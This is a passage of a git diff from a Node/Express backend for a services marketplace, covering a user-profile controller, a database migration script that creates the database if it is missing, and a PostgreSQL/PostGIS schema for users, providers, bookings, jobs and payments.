'error', - message: error.message, - }); - } - }; - - /** - * Update provider-specific profile - * PATCH /api/users/provider-profile - */ - static updateProviderProfile = [ - validate([ - body('name').optional().isString().withMessage('Name must be a string'), - body('bio').optional().isString().withMessage('Bio must be a string'), - body('priceRangeMin').optional().isFloat({ min: 0 }).withMessage('Min price must be positive'), - body('priceRangeMax').optional().isFloat({ min: 0 }).withMessage('Max price must be positive'), - body('yearsOfExperience').optional().isInt({ min: 0 }).withMessage('Experience must be positive integer'), - body('certifications').optional().isArray().withMessage('Certifications must be an array'), - body('languages').optional().isArray().withMessage('Languages must be an array'), - body('availability').optional().isObject().withMessage('Availability must be an object'), - body('location').optional().isObject().withMessage('Location must be an object'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const user = await UserModel.findById(userId); - - if (!user || user.role !== UserRole.PROVIDER) { - logError('Only providers can update provider profile', 'UserController.updateProviderProfile'); - return res.status(403).json({ - status: 'error', - message: 'Only providers can update provider profile', - }); - } - - const { - name, - bio, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - certifications, - languages, - availability, - location, - } = req.body; - - const updatedProvider = await ProviderModel.updateProfile(userId, { - name, - bio, - priceRangeMin, - priceRangeMax, - yearsOfExperience, - certifications, - languages, - availability, - location, - }); - - console.log(`Updated profile for provider user ID ${userId} successfully`); - - return res.json({ - status: 'success', - data: updatedProvider, - }); - } catch (error: any) { - logError(error.message, 'UserController.updateProviderProfile'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Track user location sample - * POST /api/users/location - */ - static trackLocation = [ - validate([ - body('latitude') - .isFloat({ min: -90, max: 90 }) - .withMessage('Valid latitude is required'), - body('longitude') - .isFloat({ min: -180, max: 180 }) - .withMessage('Valid longitude is required'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId; - if (!userId) { - logError('Unauthorized', 'UserController.trackLocation'); - return res.status(401).json({ - status: 'error', - message: 'Unauthorized', - }); - } - - const { latitude, longitude } = req.body; - const location = await UserLocationModel.create( - userId, - Number(latitude), - Number(longitude) - ); - - console.log(`Location tracked for user ID ${userId} at (${latitude}, ${longitude}) successfully`); - - return res.status(201).json({ - status: 'success', - data: location, - }); - } catch (error: any) { - logError(error.message, 'UserController.trackLocation'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; - - /** - * Update notification preferences - * PATCH /api/users/preferences - */ - static updatePreferences = [ - validate([ - body('emailNotifications').optional().isBoolean().withMessage('emailNotifications must be boolean'), - body('smsNotifications').optional().isBoolean().withMessage('smsNotifications must be boolean'), - body('pushNotifications').optional().isBoolean().withMessage('pushNotifications must be boolean'), - ]), - async (req: AuthRequest, res: Response) => { - try { - const userId = req.userId!; - const { emailNotifications, smsNotifications, pushNotifications } = req.body; - - const updatedUser = await UserModel.updatePreferences(userId, { - emailNotifications, - smsNotifications, - pushNotifications, - }); - - console.log(`Updated preferences for user ID ${userId} successfully`); - - return res.json({ - status: 'success', - data: updatedUser, - }); - } catch (error: any) { - logError(error.message, 'UserController.updatePreferences'); - return res.status(400).json({ - status: 'error', - message: error.message, - }); - } - }, - ]; -} +import { Response } from 'express'; +import { body } from 'express-validator'; +import { validate } from '../middleware/validation'; +import { AuthRequest } from '../middleware/auth'; +import { UserLocationModel } from '../models/UserLocation'; +import { UserModel } from '../models/User'; +import { ProviderModel } from '../models/Provider'; +import { StorageService } from '../services/storage.service'; +import { UserRole } from '../types'; +import { logError } from '../utils/logger'; + +export class UserController { + /** + * Get current user profile + * GET /api/users/profile + */ + static getProfile = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const user = await UserModel.findById(userId); + + if (!user) { + logError('User not found', 'UserController.getProfile'); + return res.status(404).json({ + status: 'error', + message: 'User not found', + }); + } + + // If provider, include provider profile + let providerProfile = null; + if (user.role === UserRole.PROVIDER) { + providerProfile = await ProviderModel.findByUserId(userId); + } + + console.log(`Fetched profile for user ID ${userId} successfully`); + + return res.json({ + status: 'success', + data: { + user, + provider: providerProfile, + }, + }); + } catch (error: any) { + logError(error.message, 'UserController.getProfile'); + return res.status(500).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Update basic user profile + * PATCH /api/users/profile + */ + static updateProfile = [ + validate([ + body('username').optional().isString().withMessage('Username must be a string'), + body('email').optional().isEmail().withMessage('Valid email is required'), + body('phone').optional().isString().withMessage('Phone must be a string'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const { username, email, phone } = req.body; + + const updatedUser = await UserModel.updateProfile(userId, { + username, + email, + phone, + }); + + console.log(`Updated profile for user ID ${userId} successfully`); + + return res.json({ + status: 'success', + data: updatedUser, + }); + } catch (error: any) { + logError(error.message, 'UserController.updateProfile'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Change password + * PATCH /api/users/password + */ + static changePassword = [ + validate([ + body('currentPassword').notEmpty().withMessage('Current password is required'), + body('newPassword').isLength({ min: 6 }).withMessage('New password must be at least 6 characters'), + body('confirmPassword').notEmpty().withMessage('Password confirmation is required'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const { currentPassword, newPassword, confirmPassword } = req.body; + + // Validate passwords match + if (newPassword !== confirmPassword) { + logError('New password and confirmation do not match', 'UserController.changePassword'); + return res.status(400).json({ + status: 'error', + message: 'New password and confirmation do not match', + }); + } + + const user = await UserModel.findById(userId); + if (!user || !user.password) { + logError('User not found or no password set', 'UserController.changePassword'); + return res.status(400).json({ + status: 'error', + message: 'User not found or no password set', + }); + } + + const isCurrentPasswordValid = await UserModel.verifyPassword(currentPassword, user.password); + if (!isCurrentPasswordValid) { + logError('Current password is incorrect', 'UserController.changePassword'); + return res.status(400).json({ + status: 'error', + message: 'Current password is incorrect', + }); + } + + await UserModel.updatePassword(userId, newPassword); + + console.log(`Password updated successfully for user ID ${userId}`); + + return res.json({ + status: 'success', + message: 'Password updated successfully', + }); + } catch (error: any) { + logError(error.message, 'UserController.changePassword'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Update preferred contact method + * PATCH /api/users/contact-method + */ + static updateContactMethod = [ + validate([ + body('preferredContactMethod') + .isIn(['phone', 'email', 'whatsapp', 'sms']) + .withMessage('Valid contact method is required'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const { preferredContactMethod } = req.body; + + const updatedUser = await UserModel.updatePreferredContactMethod(userId, preferredContactMethod); + + console.log(`Updated preferred contact method for user ID ${userId} to ${preferredContactMethod} successfully`); + + return res.json({ + status: 'success', + data: updatedUser, + }); + } catch (error: any) { + logError(error.message, 'UserController.updateContactMethod'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Upload profile photo + * POST /api/users/photo + */ + static uploadPhoto = async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const imageFile = req.file; + + if (!imageFile) { + logError('No image file provided', 'UserController.uploadPhoto'); + return res.status(400).json({ + status: 'error', + message: 'No image file provided', + }); + } + + const allowedMimeTypes = ['image/jpeg', 'image/jpg', 'image/png']; + if (!allowedMimeTypes.includes(imageFile.mimetype)) { + logError('Only JPEG, JPG, and PNG images are allowed', 'UserController.uploadPhoto'); + return res.status(400).json({ + status: 'error', + message: 'Only JPEG, JPG, and PNG images are allowed', + }); + } + + const fileExt = imageFile.originalname.split('.').pop(); + const fileName = `user-${userId}-${Date.now()}.${fileExt}`; + + const uploadResult = await StorageService.uploadImage({ + path: `users/${fileName}`, + contentType: imageFile.mimetype, + file: imageFile.buffer, + bucket: 'avatars', + }); + + // Update user's photo URL based on role + const user = await UserModel.findById(userId); + if (!user) { + logError('User not found', 'UserController.uploadPhoto'); + return res.status(404).json({ + status: 'error', + message: 'User not found', + }); + } + + if (user.role === UserRole.PROVIDER) { + await ProviderModel.updatePhoto(userId, uploadResult.url); + } else { + await UserModel.updateProfile(userId, { photo: uploadResult.url }); + } + + console.log(`Profile photo uploaded successfully for user ID ${userId}`); + + return res.json({ + status: 'success', + data: { photoUrl: uploadResult.url }, + }); + } catch (error: any) { + logError(error.message, 'UserController.uploadPhoto'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }; + + /** + * Update provider-specific profile + * PATCH /api/users/provider-profile + */ + static updateProviderProfile = [ + validate([ + body('name').optional().isString().withMessage('Name must be a string'), + body('bio').optional().isString().withMessage('Bio must be a string'), + body('priceRangeMin').optional().isFloat({ min: 0 }).withMessage('Min price must be positive'), + body('priceRangeMax').optional().isFloat({ min: 0 }).withMessage('Max price must be positive'), + body('yearsOfExperience').optional().isInt({ min: 0 }).withMessage('Experience must be positive integer'), + body('certifications').optional().isArray().withMessage('Certifications must be an array'), + body('languages').optional().isArray().withMessage('Languages must be an array'), + body('availability').optional().isObject().withMessage('Availability must be an object'), + body('location').optional().isObject().withMessage('Location must be an object'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const user = await UserModel.findById(userId); + + if (!user || user.role !== UserRole.PROVIDER) { + logError('Only providers can update provider profile', 'UserController.updateProviderProfile'); + return res.status(403).json({ + status: 'error', + message: 'Only providers can update provider profile', + }); + } + + const { + name, + bio, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + certifications, + languages, + availability, + location, + } = req.body; + + const updatedProvider = await ProviderModel.updateProfile(userId, { + name, + bio, + priceRangeMin, + priceRangeMax, + yearsOfExperience, + certifications, + languages, + availability, + location, + }); + + console.log(`Updated profile for provider user ID ${userId} successfully`); + + return res.json({ + status: 'success', + data: updatedProvider, + }); + } catch (error: any) { + logError(error.message, 'UserController.updateProviderProfile'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Track user location sample + * POST /api/users/location + */ + static trackLocation = [ + validate([ + body('latitude') + .isFloat({ min: -90, max: 90 }) + .withMessage('Valid latitude is required'), + body('longitude') + .isFloat({ min: -180, max: 180 }) + .withMessage('Valid longitude is required'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId; + if (!userId) { + logError('Unauthorized', 'UserController.trackLocation'); + return res.status(401).json({ + status: 'error', + message: 'Unauthorized', + }); + } + + const { latitude, longitude } = req.body; + const location = await UserLocationModel.create( + userId, + Number(latitude), + Number(longitude) + ); + + console.log(`Location tracked for user ID ${userId} at (${latitude}, ${longitude}) successfully`); + + return res.status(201).json({ + status: 'success', + data: location, + }); + } catch (error: any) { + logError(error.message, 'UserController.trackLocation'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; + + /** + * Update notification preferences + * PATCH /api/users/preferences + */ + static updatePreferences = [ + validate([ + body('emailNotifications').optional().isBoolean().withMessage('emailNotifications must be boolean'), + body('smsNotifications').optional().isBoolean().withMessage('smsNotifications must be boolean'), + body('pushNotifications').optional().isBoolean().withMessage('pushNotifications must be boolean'), + ]), + async (req: AuthRequest, res: Response) => { + try { + const userId = req.userId!; + const { emailNotifications, smsNotifications, pushNotifications } = req.body; + + const updatedUser = await UserModel.updatePreferences(userId, { + emailNotifications, + smsNotifications, + pushNotifications, + }); + + console.log(`Updated preferences for user ID ${userId} successfully`); + + return res.json({ + status: 'success', + data: updatedUser, + }); + } catch (error: any) { + logError(error.message, 'UserController.updatePreferences'); + return res.status(400).json({ + status: 'error', + message: error.message, + }); + } + }, + ]; +} diff --git a/src/database/migrate.ts b/src/database/migrate.ts index 2c329dd..efb1588 100644 --- a/src/database/migrate.ts +++ b/src/database/migrate.ts @@ -1,67 +1,70 @@ -import { existsSync, readFileSync } from 'fs'; -import { join, resolve } from 'path'; -import pool from '../config/database'; - -/** - * Simple schema migration: - * - Reads schema.sql and runs it idempotently (IF NOT EXISTS) - * - No migration tracking table needed - * - To apply: npm run db:migrate - */ -async function migrate() { - try { - console.log('Running database schema...\n'); - - const distSchemaPath = join(__dirname, 'schema.sql'); - const srcSchemaPath = resolve(process.cwd(), 'src', 'database', 'schema.sql'); - const schemaPath = existsSync(distSchemaPath) ? distSchemaPath : srcSchemaPath; - - if (!existsSync(schemaPath)) { - throw new Error(`Schema file not found at ${schemaPath}`); - } - - console.log(`Applying schema from ${schemaPath}`); - const schema = readFileSync(schemaPath, 'utf-8'); - await pool.query(schema); - console.log('✓ Schema applied successfully\n'); - - console.log('Database schema completed successfully!'); - process.exit(0); - } catch (error) { - console.error('\nSchema migration failed:', error); - process.exit(1); - } -} - -// For future: if you need a migration table later, uncomment below -/* -import { MigrationManager } from './migration-manager'; -async function migrateWithTracking() { - // First run base schema if needed - const distSchemaPath = join(__dirname, 'schema.sql'); - const srcSchemaPath = resolve(process.cwd(), 'src', 'database', 'schema.sql'); - const schemaPath = existsSync(distSchemaPath) ? distSchemaPath : srcSchemaPath; - - if (existsSync(schemaPath)) { - const checkResult = await pool.query(` - SELECT EXISTS ( - SELECT FROM information_schema.tables - WHERE table_schema = 'public' - AND table_name = 'users' - ) - `); - if (!checkResult.rows[0].exists) { - console.log('Initializing database schema...'); - const schema = readFileSync(schemaPath, 'utf-8'); - await pool.query(schema); - console.log('✓ Base schema initialized\n'); - } - } - - // Run tracked migrations - const migrationManager = new MigrationManager(); - await migrationManager.migrate(); -} -*/ - -migrate(); +import { existsSync, readFileSync } from 'fs'; +import { join, resolve } from 'path'; +import pool from '../config/database'; +import { Client } from 'pg'; +import { config } from '../config/config'; + +/** + * Simple schema migration: + * - Reads schema.sql and runs it idempotently (IF NOT EXISTS) + * - No migration tracking table needed + * - To apply: npm run db:migrate + */ +async function migrate() { + try { + console.log('Running database schema...\n'); + + // Step 1: Ensure database exists + const dbName = config.database.name || 'hano_db'; + console.log(`Checking if database "${dbName}" exists...`); + + const client = new Client({ + host: config.database.host, + port: config.database.port, + user: config.database.user, + password: config.database.password, + database: 'postgres', // Connect to default postgres DB first + }); + + try { + await client.connect(); + const checkDb = await client.query(`SELECT 1 FROM pg_database WHERE datname = $1`, [dbName]); + + if (checkDb.rows.length === 0) { + console.log(`Database "${dbName}" not found. Creating it...`); + // Cannot use parameterized query for CREATE DATABASE + await client.query(`CREATE DATABASE "${dbName}"`); + console.log(`✓ Database "${dbName}" created successfully.`); + } else { + console.log(`✓ Database "${dbName}" already exists.`); + } + } catch (dbError) { + console.error('Warning: Could not check/create database automatically. Ensure it exists.'); + // Proceed anyway, let the main migration handle the connection failure if it's fatal + } finally { + await client.end(); + } + + // Step 2: Apply schema + const distSchemaPath = join(__dirname, 'schema.sql'); + const srcSchemaPath = resolve(process.cwd(), 'src', 'database', 'schema.sql'); + const schemaPath = existsSync(distSchemaPath) ? distSchemaPath : srcSchemaPath; + + if (!existsSync(schemaPath)) { + throw new Error(`Schema file not found at ${schemaPath}`); + } + + console.log(`Applying schema from ${schemaPath}`); + const schema = readFileSync(schemaPath, 'utf-8'); + await pool.query(schema); + console.log('✓ Schema applied successfully\n'); + + console.log('Database schema completed successfully!'); + process.exit(0); + } catch (error) { + console.error('\nSchema migration failed:', error); + process.exit(1); + } +} + +migrate(); diff --git a/src/database/schema.sql b/src/database/schema.sql index 0776923..925e8b7 100644 --- a/src/database/schema.sql +++ b/src/database/schema.sql @@ -1,362 +1,375 @@ --- HanoServices Database Schema --- This single file defines the entire database schema. --- To apply: npm run db:migrate (runs this file idempotently). - --- Enable extensions -CREATE EXTENSION IF NOT EXISTS "uuid-ossp"; -CREATE EXTENSION IF NOT EXISTS postgis; - --- Users table -CREATE TABLE IF NOT EXISTS users ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - username VARCHAR(30) UNIQUE NOT NULL, - phone VARCHAR(20) UNIQUE NOT NULL, - email VARCHAR(255) UNIQUE, - password VARCHAR(255), - role VARCHAR(20) NOT NULL CHECK (role IN ('customer', 'provider', 'admin')), - is_phone_verified BOOLEAN DEFAULT FALSE, - last_login TIMESTAMP, - email_notifications BOOLEAN DEFAULT TRUE, - sms_notifications BOOLEAN DEFAULT TRUE, - push_notifications BOOLEAN DEFAULT TRUE, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Service Categories table -CREATE TABLE IF NOT EXISTS service_categories ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - name VARCHAR(100) UNIQUE NOT NULL, - description TEXT, - icon VARCHAR(255), - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Providers table (extended) -CREATE TABLE IF NOT EXISTS providers ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - name VARCHAR(255) NOT NULL, - photo VARCHAR(500), - service_category_id UUID NOT NULL REFERENCES service_categories(id), - price_range_min DECIMAL(10, 2), - price_range_max DECIMAL(10, 2), - years_of_experience INTEGER, - availability VARCHAR(20) DEFAULT 'offline' CHECK (availability IN ('available', 'busy', 'offline')), - verification_status VARCHAR(20) DEFAULT 'pending' CHECK (verification_status IN ('pending', 'approved', 'rejected')), - is_verified BOOLEAN DEFAULT FALSE, - latitude DECIMAL(10, 8), - longitude DECIMAL(11, 8), - geo_location geography(Point, 4326), - address TEXT, - -- New fields from provider profile extensions - bio TEXT, - certifications TEXT[], - languages TEXT[], - availability_hours JSONB, - response_rate DECIMAL(5, 2) CHECK (response_rate >= 0 AND response_rate <= 100), - response_time_minutes INTEGER CHECK (response_time_minutes >= 0), - website VARCHAR(255), - social_links JSONB, - preferred_contact_method VARCHAR(20) CHECK (preferred_contact_method IN ('phone', 'email', 'whatsapp', 'sms')), - is_featured BOOLEAN DEFAULT FALSE, - featured_until TIMESTAMP, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Provider Portfolio (work gallery) -CREATE TABLE IF NOT EXISTS provider_portfolios ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, - image_url VARCHAR(500) NOT NULL, - description TEXT, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Bookings table (enhanced for appointments) -CREATE TABLE IF NOT EXISTS bookings ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, - service_category_id UUID NOT NULL REFERENCES service_categories(id), - status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'accepted', 'declined', 'completed', 'cancelled')), - scheduled_date TIMESTAMP, - description TEXT, - latitude DECIMAL(10, 8), - longitude DECIMAL(11, 8), - geo_location geography(Point, 4326), - address TEXT, - notes TEXT, - image_url TEXT, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- User Locations table (tracking) -CREATE TABLE IF NOT EXISTS user_locations ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - latitude DECIMAL(10, 8), - longitude DECIMAL(11, 8), - geo_location geography(Point, 4326), - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Reviews table -CREATE TABLE IF NOT EXISTS reviews ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - booking_id UUID NOT NULL REFERENCES bookings(id) ON DELETE CASCADE, - customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, - rating INTEGER NOT NULL CHECK (rating >= 1 AND rating <= 5), - comment TEXT, - proof_images TEXT[], -- Array of image URLs - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Verification Requests table -CREATE TABLE IF NOT EXISTS verification_requests ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, - id_document VARCHAR(500), - certificates TEXT[], -- Array of certificate URLs - provider_references TEXT[], -- Array of reference information - status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'approved', 'rejected')), - admin_notes TEXT, - reviewed_by UUID REFERENCES users(id), - reviewed_at TIMESTAMP, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- OTP table (for phone verification) -CREATE TABLE IF NOT EXISTS otps ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - phone VARCHAR(20) NOT NULL, - code VARCHAR(6) NOT NULL, - expires_at TIMESTAMP NOT NULL, - is_used BOOLEAN DEFAULT FALSE, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Push Tokens table (for Expo push notifications) -CREATE TABLE IF NOT EXISTS push_tokens ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - token VARCHAR(255) NOT NULL, - platform VARCHAR(20) NOT NULL CHECK (platform IN ('ios', 'android', 'web')), - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - UNIQUE (user_id, token) -); - --- Jobs table (for job posting feature) -CREATE TABLE IF NOT EXISTS jobs ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - service_category_id UUID NOT NULL REFERENCES service_categories(id), - title VARCHAR(255) NOT NULL, - description TEXT, - budget DECIMAL(10, 2), - location_address TEXT, - latitude DECIMAL(10, 8), - longitude DECIMAL(11, 8), - geo_location geography(Point, 4326), - deadline TIMESTAMP, - status VARCHAR(20) DEFAULT 'open' CHECK (status IN ('open', 'assigned', 'in_progress', 'completed', 'cancelled')), - assigned_provider_id UUID REFERENCES providers(id), - assigned_at TIMESTAMP, - completed_at TIMESTAMP, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - --- Indexes for performance -CREATE INDEX IF NOT EXISTS idx_users_username ON users(username); -CREATE INDEX IF NOT EXISTS idx_users_phone ON users(phone); -CREATE INDEX IF NOT EXISTS idx_users_role ON users(role); -CREATE INDEX IF NOT EXISTS idx_providers_user_id ON providers(user_id); -CREATE INDEX IF NOT EXISTS idx_providers_category ON providers(service_category_id); -CREATE INDEX IF NOT EXISTS idx_providers_location ON providers(latitude, longitude); -CREATE INDEX IF NOT EXISTS idx_providers_geo_location ON providers USING GIST (geo_location); -CREATE INDEX IF NOT EXISTS idx_providers_availability ON providers(availability); -CREATE INDEX IF NOT EXISTS idx_providers_verification ON providers(verification_status); -CREATE INDEX IF NOT EXISTS idx_providers_is_featured ON providers(is_featured) WHERE is_featured = TRUE; -CREATE INDEX IF NOT EXISTS idx_providers_featured_until ON providers(featured_until) WHERE featured_until IS NOT NULL; -CREATE INDEX IF NOT EXISTS idx_providers_response_rate ON providers(response_rate); -CREATE INDEX IF NOT EXISTS idx_providers_preferred_contact ON providers(preferred_contact_method); -CREATE INDEX IF NOT EXISTS idx_providers_languages ON providers USING GIN (languages); -CREATE INDEX IF NOT EXISTS idx_providers_certifications ON providers USING GIN (certifications); -CREATE INDEX IF NOT EXISTS idx_bookings_scheduled_date ON bookings(scheduled_date) WHERE scheduled_date IS NOT NULL; -CREATE INDEX IF NOT EXISTS idx_bookings_customer ON bookings(customer_id); -CREATE INDEX IF NOT EXISTS idx_bookings_provider ON bookings(provider_id); -CREATE INDEX IF NOT EXISTS idx_bookings_status ON bookings(status); -CREATE INDEX IF NOT EXISTS idx_bookings_geo_location ON bookings USING GIST (geo_location); -CREATE INDEX IF NOT EXISTS idx_reviews_provider ON reviews(provider_id); -CREATE INDEX IF NOT EXISTS idx_otps_phone ON otps(phone); -CREATE INDEX IF NOT EXISTS idx_otps_expires ON otps(expires_at); -CREATE INDEX IF NOT EXISTS idx_user_locations_user_id ON user_locations(user_id); -CREATE INDEX IF NOT EXISTS idx_user_locations_geo_location ON user_locations USING GIST (geo_location); -CREATE INDEX IF NOT EXISTS idx_user_locations_created_at ON user_locations(created_at); -CREATE INDEX IF NOT EXISTS idx_push_tokens_user_id ON push_tokens(user_id); -CREATE INDEX IF NOT EXISTS idx_jobs_customer_id ON jobs(customer_id); -CREATE INDEX IF NOT EXISTS idx_jobs_status ON jobs(status); -CREATE INDEX IF NOT EXISTS idx_jobs_service_category ON jobs(service_category_id); -CREATE INDEX IF NOT EXISTS idx_jobs_geo_location ON jobs USING GIST (geo_location); -CREATE INDEX IF NOT EXISTS idx_jobs_deadline ON jobs(deadline) WHERE deadline IS NOT NULL; - --- Payments table -CREATE TABLE IF NOT EXISTS payments ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - reference VARCHAR(255) UNIQUE NOT NULL, - customer_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, - provider_id UUID REFERENCES providers(id) ON DELETE SET NULL, - booking_id UUID REFERENCES bookings(id) ON DELETE SET NULL, - job_id UUID REFERENCES jobs(id) ON DELETE SET NULL, - amount DECIMAL(10, 2) NOT NULL, - currency VARCHAR(10) NOT NULL DEFAULT 'RWF', - status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'successful', 'failed')), - metadata JSONB, - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -); - -CREATE INDEX IF NOT EXISTS idx_payments_reference ON payments(reference); -CREATE INDEX IF NOT EXISTS idx_payments_customer ON payments(customer_id); -CREATE INDEX IF NOT EXISTS idx_payments_status ON payments(status); - --- Job Bids table -CREATE TABLE IF NOT EXISTS job_bids ( - id UUID PRIMARY KEY DEFAULT uuid_generate_v4(), - job_id UUID NOT NULL REFERENCES jobs(id) ON DELETE CASCADE, - provider_id UUID NOT NULL REFERENCES providers(id) ON DELETE CASCADE, - bid_amount DECIMAL(10, 2) NOT NULL, - proposal_text TEXT, - status VARCHAR(20) DEFAULT 'pending' CHECK (status IN ('pending', 'accepted', 'rejected', 'withdrawn')), - created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, - UNIQUE (job_id, provider_id) -); - -CREATE INDEX IF NOT EXISTS idx_job_bids_job ON job_bids(job_id); -CREATE INDEX IF NOT EXISTS idx_job_bids_provider ON job_bids(provider_id); -CREATE INDEX IF NOT EXISTS idx_job_bids_status ON job_bids(status); - --- Functions to update updated_at timestamp -CREATE OR REPLACE FUNCTION update_updated_at_column() -RETURNS TRIGGER AS $$ -BEGIN - NEW.updated_at = CURRENT_TIMESTAMP; - RETURN NEW; -END; -$$ language 'plpgsql'; - --- Functions to sync geo_location from lat/lon -CREATE OR REPLACE FUNCTION sync_providers_geo_location() -RETURNS TRIGGER AS $$ -BEGIN - IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN - NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; - ELSE - NEW.geo_location := NULL; - END IF; - RETURN NEW; -END; -$$ language 'plpgsql'; - -CREATE OR REPLACE FUNCTION sync_bookings_geo_location() -RETURNS TRIGGER AS $$ -BEGIN - IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN - NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; - ELSE - NEW.geo_location := NULL; - END IF; - RETURN NEW; -END; -$$ language 'plpgsql'; - -CREATE OR REPLACE FUNCTION sync_user_locations_geo_location() -RETURNS TRIGGER AS $$ -BEGIN - IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN - NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; - ELSE - NEW.geo_location := NULL; - END IF; - RETURN NEW; -END; -$$ language 'plpgsql'; - -CREATE OR REPLACE FUNCTION sync_jobs_geo_location() -RETURNS TRIGGER AS $$ -BEGIN - IF NEW.latitude IS NOT NULL AND NEW.longitude IS NOT NULL THEN - NEW.geo_location := ST_SetSRID(ST_MakePoint(NEW.longitude, NEW.latitude), 4326)::geography; - ELSE - NEW.geo_location := NULL; - END IF; - RETURN NEW; -END; -$$ language 'plpgsql'; - --- Triggers to auto-update updated_at -DROP TRIGGER IF EXISTS update_users_updated_at ON users; -CREATE TRIGGER update_users_updated_at BEFORE UPDATE ON users - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_providers_updated_at ON providers; -CREATE TRIGGER update_providers_updated_at BEFORE UPDATE ON providers - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_bookings_updated_at ON bookings; -CREATE TRIGGER update_bookings_updated_at BEFORE UPDATE ON bookings - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_reviews_updated_at ON reviews; -CREATE TRIGGER update_reviews_updated_at BEFORE UPDATE ON reviews - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_verification_requests_updated_at ON verification_requests; -CREATE TRIGGER update_verification_requests_updated_at BEFORE UPDATE ON verification_requests - FOR EACH ROW EXECUTE FUNCTION update_updated_at_column(); - -DROP TRIGGER IF EXISTS update_push_tokens_updated_at ON push_tokens; -CREATE TRIGGER update_push_tokens_updated_at BEFORE 